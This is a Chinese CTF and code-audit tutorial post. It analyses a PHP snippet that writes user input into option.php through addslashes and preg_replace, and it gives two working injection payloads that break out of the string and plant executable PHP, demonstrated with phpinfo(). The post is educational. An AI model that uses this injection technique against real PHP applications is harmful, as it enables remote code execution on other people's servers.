内容简介:【代码小审计 PHP篇】Challenge 2
前言
专栏名为【代码小审计】,面向CTFer和代码审计新手。基于代码小片段进行讲解,包含但不限于 php 等语言。此次题目来自: Code-Audit-Challenges: php/challenge-3
Challenge
index.php
<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
xxxxx/option.php
$option='test';
Solution
流程如下:
-
对传入的option参数进行addslashes,比如有单引号
',会变成\' -
通过正则匹配xxxxx/option.php中的
$option='xxx';,将xxx的内容替换为经第一步处理的值 - 替换完成,将其写入xxxxx/option.php。
场景: 用于写入配置文件等。
法一
先访问:
?option=aaa';%0aphpinfo();//
经过addslashes后,$str值为 aaa\';%0aphpinfo();//
进行正则匹配并写入文件,xxxxx/option.php的内容变为:
<?php $option='aaa\'; phpinfo();//'; ?>
再访问:
?option=xxx
正则匹配时,会将两个单引号里的内容即 aaa\
,替换为 xxx
,此时xxxxx/option.php的内容变为
<?php $option='xxx'; phpinfo();//'; ?>
最后访问:/xxxxx/option.php
法二
访问:
?option=aaa\';phpinfo();//
经过addslashes后,$str为 aaa\\\';phpinfo();//
经过preg_replace正则匹配后,对 \
做了转义处理,xxxxx/option.php的内容变为:
<?php $option='aaa\\';phpinfo();//'; ?>
最后访问:/xxxxx/option.php
Refference
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 代码审计--源代码审计思路
- 【代码审计】PHP代码审计之CTF系列(1)
- 【JSP代码审计】从代码审计的角度看系统接口的安全性
- Java代码审计丨某开源系统源码审计
- 【JSP代码审计】某商城几处漏洞审计分析
- “代码审计”了解一下
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
C++数据结构与算法
[美]乔兹德克(Adam Drozdek) / 徐丹、吴伟敏 / 清华大学出版社 / 2014-10-1 / 63.00元
本书全面系统地介绍了数据结构,并以C++语言实现相关的算法。书中主要强调了数据结构和算法之间的联系,使用面向对象的方法介绍数据结构,其内容包括算法的复杂度分析、链表、栈、队列、递归、二叉树、图、排序和散列。书中还清晰地阐述了同类教材中较少提到的内存管理、数据压缩和字符串匹配等主题。书中包含大量的示例分析和图形,便于读者进一步理解和巩固所学的知识。一起来看看 《C++数据结构与算法》 这本书的介绍吧!